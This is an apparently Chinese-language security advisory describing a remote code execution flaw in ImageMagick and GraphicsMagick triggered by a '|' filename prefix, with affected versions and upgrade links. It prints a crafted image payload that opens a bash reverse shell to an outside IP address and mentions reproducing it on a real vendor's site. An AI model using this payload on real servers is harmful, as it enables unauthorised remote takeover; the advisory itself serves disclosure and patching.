ImageMagick/GraphicsMagick popen函数远程代码执行漏洞

更新时间:2016-07-10 11:27:47

漏洞描述:

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。在本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。低于7.0.1-1和6.9.3-10版本均可能会有安全风险。

影响范围: 

ImageMagick     <= 7.0.1-6

GraphicsMagick <= 1.3.23

漏洞修复: 

1、截至2016年5月30日下午3点,官方未放出修复补丁,建议您时刻关注官网更新状态。

ImageMagick:      http://www.imagemagick.org/script/binary-releases.php

GraphicsMagick:  http://www.graphicsmagick.org/download.html

ImageMagick 代码执行漏洞cve-2016-3714附修复方法-唯嘉利亚云安全

前几天wooyun以及朋友圈被ImageMagick的远程命令执行漏洞(CVE-2016–3714)给刷屏了,今天又爆出了ImageMagick的另外一处命令执行漏洞。

老外对漏洞的说明原文如下:

All existing releases of GraphicsMagick and ImageMagick support a file
open syntax where if the first character of the file specification is
a '|', then the remainder of the filename is passed to the shell for
execution using the POSIX popen(3C) function.  File opening is handled
by an OpenBlob() function in the source file blob.c.  Unlike the
vulnerability described by CVE-2016-3714, this functionality is
supported by the core file opening function rather than a delegates
subsystem usually used to execute external programs.

GraphicsMagick、ImageMagick工具的所有版本都支持一种文件打开语法,当文件规范中的第一个字符是”|”的时候,文件名其余部分会传递给shell的popen()函数去执行,相关的代码在blob.c文件中的OpenBlob()函数中。

利用测试代码如下:

push graphic-context

viewbox 0 0 640 480

image copy 200,200 100,100 “|bash -i >& /dev/tcp/215.1.2.3/1234 0>&1”

pop graphic-context

将以上内容保存成.jpg格式,用convert命令本地测试,可以反弹shell成功。如图:

ImageMagick 代码执行漏洞cve-2016-3714附修复方法-唯嘉利亚云安全

ImageMagick 代码执行漏洞cve-2016-3714附修复方法-唯嘉利亚云安全随手找了个wooyun上之前曝过漏洞的厂商,测试复现,如图:

ImageMagick 代码执行漏洞cve-2016-3714附修复方法-唯嘉利亚云安全

修复建议:

mageMagick,下载高于7.0.1-6的版本

http://www.imagemagick.org/download/beta/GraphicsMagick,下载GraphicsMagick-1.3.24-1版本

ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/linux/